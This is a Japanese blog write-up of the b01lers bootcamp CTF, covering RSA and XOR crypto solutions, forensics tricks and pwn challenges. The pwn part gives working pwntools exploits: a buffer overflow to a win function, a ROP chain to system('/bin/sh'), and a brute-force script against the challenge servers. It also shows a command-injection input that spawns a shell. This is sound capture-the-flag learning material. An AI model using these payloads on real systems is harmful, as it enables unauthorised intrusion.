ACCE55_DE21ED

競プロとCTF

b01lers bootcamp CTF 参加記 & Writeup

0. 雑

全然暇ではないけど、暇潰しに参加しました。

f:id:defineprogram:20201005185349p:plain

正の得点を得た人515人中74位だったんですが、多分真面目にガチ参加している人はあまりいないと思います(失礼)。

1. Crypto

1.1. Dream Stealing

Modulus: 98570307780590287344989641660271563150943084591122129236101184963953890610515286342182643236514124325672053304374355281945455993001454145469449640602102808287018619896494144221889411960418829067000944408910977857246549239617540588105788633268030690222998939690024329717050066864773464183557939988832150357227
One factor of N:  9695477612097814143634685975895486365012211256067236988184151482923787800058653259439240377630508988251817608592320391742708529901158658812320088090921919
Public key: 65537
Ciphertext: 75665489286663825011389014693118717144564492910496517817351278852753259053052732535663285501814281678158913989615919776491777945945627147232073116295758400365665526264438202825171012874266519752207522580833300789271016065464767771248100896706714555420620455039240658817899104768781122292162714745754316687483

い つ も の

\(N,P\) が分かっているので、\(P,Q\) が分かり、秘密鍵である \(d\) も分かります。後は復号しておしまい。

from Crypto.Util.number import inverse,long_to_bytes

n=98570307780590287344989641660271563150943084591122129236101184963953890610515286342182643236514124325672053304374355281945455993001454145469449640602102808287018619896494144221889411960418829067000944408910977857246549239617540588105788633268030690222998939690024329717050066864773464183557939988832150357227
e=65537
c=75665489286663825011389014693118717144564492910496517817351278852753259053052732535663285501814281678158913989615919776491777945945627147232073116295758400365665526264438202825171012874266519752207522580833300789271016065464767771248100896706714555420620455039240658817899104768781122292162714745754316687483

p=9695477612097814143634685975895486365012211256067236988184151482923787800058653259439240377630508988251817608592320391742708529901158658812320088090921919
q=n//p

phi=(p-1)*(q-1)
d=inverse(e,phi)

m=pow(c,d,n)
flag=long_to_bytes(m).decode()
print(flag)

1.2 Clear the Mind

n = 102346477809188164149666237875831487276093753138581452189150581288274762371458335130208782251999067431416740623801548745068435494069196452555130488551392351521104832433338347876647247145940791496418976816678614449219476252610877509106424219285651012126290668046420434492850711642394317803367090778362049205437

c = 4458558515804625757984145622008292910146092770232527464448604606202639682157127059968851563875246010604577447368616002300477986613082254856311395681221546841526780960776842385163089662821

e = 3

\(e\) が小さく、\(c\) が \(n\) より明らかに小さいので、元の文は \(c\) の三乗根っていういつもの。

from Crypto.Util.number import inverse,long_to_bytes

c=4458558515804625757984145622008292910146092770232527464448604606202639682157127059968851563875246010604577447368616002300477986613082254856311395681221546841526780960776842385163089662821

ok=4458558515804625757984145622008292910146092770232527464448604606202639682157127059968851563875246010604577447368616002300477986613082254856311395681221546841526780960776842385163089662821
ng=0
while ok-ng>1:
    mid=(ok+ng)//2
    if mid*mid*mid>=c:
        ok=mid
    else :
        ng=mid
print(long_to_bytes(ok).decode())

1.3. Shared Dreaming

Hint 1: a1 ⊕ a2 ⊕ a3 ⊕ a4 = 8ba4c4dfce33fd6101cf5c56997531c024a10f1dc323eb7fe3841ac389747fb90e3418f90011ef2610fa3636cd6cf0002d19faa30d39161fbd45cc58abff6a84
Hint 2: a2 ⊕ a3 ⊕ a4 = f969375145322aba697ce9b4e00aa88e81ffe5c306b1b98148f33c4581b2ac39bc95f13b27c39f2311a590b7e27cdbdb7599f615acd70c45378e44fb319b8cb6
Hint 3: a1 ⊕ a3 = 855249b385f7b1d9923f71feb3bdee1032963ab51aa7b9d89a20c08c381e77890aa8849702d8791f8e636e833928ba6ea44c5f261983b7e29bd82e44b77fe03b
Ciphertext: flag ⊕ a3 ⊕ RandByte = f694bc3d12a0673aead8fc4fdf964f5ec0c1d938e722bf333000f300088ead0dec1e7e03720331098068c13a066ca9bca89850a8ee67feb8471af5f47b4c0f13

Where RandByte[0] == RandByte[1] and len(RandByte) == len(flag)

Hint 1,2,3 より a3 が分かり、flag ⊕ RandByteの値も分かります。flagの接頭辞はどうせflag{ だろうと思ってxorを取るとどれも g になったので、RandByteの値は g と分かります。後は全文を g で xor を取っておしまい。

from Crypto.Util.number import long_to_bytes

hint1=0x8ba4c4dfce33fd6101cf5c56997531c024a10f1dc323eb7fe3841ac389747fb90e3418f90011ef2610fa3636cd6cf0002d19faa30d39161fbd45cc58abff6a84
hint2=0xf969375145322aba697ce9b4e00aa88e81ffe5c306b1b98148f33c4581b2ac39bc95f13b27c39f2311a590b7e27cdbdb7599f615acd70c45378e44fb319b8cb6
hint3=0x855249b385f7b1d9923f71feb3bdee1032963ab51aa7b9d89a20c08c381e77890aa8849702d8791f8e636e833928ba6ea44c5f261983b7e29bd82e44b77fe03b
hint4=0xf694bc3d12a0673aead8fc4fdf964f5ec0c1d938e722bf333000f300088ead0dec1e7e03720331098068c13a066ca9bca89850a8ee67feb8471af5f47b4c0f13

a1=hint1^hint2
a3=hint3^a1
hint5=hint4^a3

def xor(msg, key):
    o = ''
    for i in range(len(msg)):
        o += chr(ord(msg[i]) ^ ord(key[i % len(key)]))
    return o

hint6=long_to_bytes(hint5).decode()
print(xor(hint6,"g"))

1.4. Train of Thought

dream dreams fantasticalities a neuropharmacologist neuropharmacy neuroharmacy psychopathologic oneirologic dichlorodiphenyltrichloroethane dichlorodiphenyltrichloroe chlorophenyltrichloroe chloromethanes fluorines cytodifferentiated differentiated

一見意味不明ですが、それぞれの編集距離を取るとなんと文が現れます(完全にエスパー)

from functools import lru_cache

@lru_cache(maxsize=4096)
def ld(s, t):
    if not s: return len(t)
    if not t: return len(s)
    if s[0] == t[0]: return ld(s[1:], t[1:])
    l1 = ld(s, t[1:])
    l2 = ld(s[1:], t)
    l3 = ld(s[1:], t[1:])
    return 1 + min(l1, l2, l3)

message="dream dreams fantasticalities a neuropharmacologist neuropharmacy neuroharmacy psychopathologic oneirologic dichlorodiphenyltrichloroethane dichlorodiphenyltrichloroe chlorophenyltrichloroe chloromethanes fluorines cytodifferentiated differentiated"

m=message.split()

ans=[]
for i in range(len(m)-1):
    print(chr(0x60+ld(m[i],m[i+1])),end='')
print("")

1.5. Totem

bacon , Base64 , atbash , rot13 の4種類のクエリが1000件飛んでくるので、全部正しく処理するとFLAGが得られます。競プロか???

虚無なのでコードは省略

2. Crypto World

mini問題集です。CRTとextGCDが大いに役に立ちました。月刊競技プログラミングは役に立つ

3. Misc

Misc とは言ってますが、ほとんどForensicsだと思います。

3.1. Echoes of Reality

音声スペクトル見るとFLAGが書いてあるやつ、ほとんどのCTFで見るんですが様式美ですか?笑

3.2. Granular Data

exiftool で exif を見ると flag が書かれています。

3.3. Needle In A Haystack

大量のテキストファイルが渡されますが、grep で flag 探せば一瞬です。

3.4. Zima Blue

明らかに隠したような画像ファイルだったので、Stegsolveだとエスパーしたら当たりました。

f:id:defineprogram:20201005191748p:plain

4. pwn

4.1. Metacortex

リバーシングしたら、時によって正しい入力が違いました(???)

正しい入力の範囲が大体分かっていたので、ブルートフォースしました。正解法、なんだろう...

from pwn import *

for i in range(0x5500,0x5700):
    print(i)
    p=remote("chal.ctf.b01lers.com",1014)
    p.sendlineafter(b"Work for the respectable software company, Neo.\n",str(i))
    try:
        p.sendline("echo flag")
        if b"flag" in p.recv():
            p.interactive()
            exit(0)
    except:
        pass

4.2. There is no Spoon

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

char * xor(char * src, char * dest, int len) {
    for(int i = 0; i < len - 1; i++) {
        dest[i] = src[i] ^ dest[i];
    }
    dest[len-1] = 0;
    return dest;
}

int main() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);

    char buffer[256];
    int len = 256;

    printf("Neo, enter your matrix: ");
    len = read(0, buffer, len);

    char * buffer2 = malloc(strlen(buffer));

    int * changeme = malloc(sizeof(int));
    *changeme = 255;
    printf("Reality: %d\n", *changeme);
    
    printf("Make your choice: ");
    len = read(0, buffer2, len);

    printf("Now bend reality. Remember: there is no spoon.\n");
    char * result = xor(buffer2, buffer, len);
    printf("Result: %s\n", result);
    printf("Reality: %d\n", *changeme);

    if (*changeme != 0xff) {
        system("/bin/sh");
    }
}

見た感じ脆弱性がなさそうに見えますが、

char * buffer2 = malloc(strlen(buffer));

脆弱性です。read で返される長さは文字列中に Null byteが入っていても数えますが、strlen で返されるのは Null byteまでです。そのため、bufferに '\x00' を送りつけることで

len = read(0, buffer2, len);

でBuffer Over Flowが引き起こされ、changemeを変える事ができました。

4.3. The Oracle

ただのBuffer Over Flow → 関数呼び出し。特に言うことなし

from pwn import *

elf=ELF("./elf")
p=remote("chal.ctf.b01lers.com",1015)

payload=b"A"*24
payload+=p64(0x004010e4)
payload+=p64(elf.symbols['win'])

p.sendline(payload)
p.interactive()

4.4. White Rabbit

どうやら入力したパスのファイルを cat で出力しているっぽいんですが、flag という文字列を含む事はできません。

Makefileって入れたらソースコードが入手できました。

ソースコードを読むと、

[ -f input] && cat 'input' || echo File does not exist. みたいなコマンドで実行していたので、インジェクションができて

'];/bin/sh; と入力するとシェルを起動できます。あとは cat flag.txt するだけです。

4.5. See for Yourself

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

char * binsh = "/bin/sh";

int main() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    system(NULL);

    char * shellcode[0];

    printf("Unfortunately, no one can be told what the Matrix is. You have to see it for yourself.\n");
    read(0, shellcode, 64);
}

ご丁寧に '/bin/sh' まで用意されているので、普通に Buffer Over Flow → system@plt するだけです。リバーシングしなくても脆弱性攻撃だけで行けるタイプの問題は得意です。

from pwn import *
elf=ELF("./elf")
#p=process("./elf")
p=remote("chal.ctf.b01lers.com",1008)

payload=b"A"*8
payload+=p64(0x0040101a) # ret
payload+=p64(0x00401273) # pop rdi; ret;
payload+=p64(next(elf.search(b'/bin/sh')))
payload+=p64(0x000000000401080)  # system@plt
p.sendline(payload)
p.interactive()

5. Rev,Web

あんまり解けませんでした。 (ノ∀`)アチャー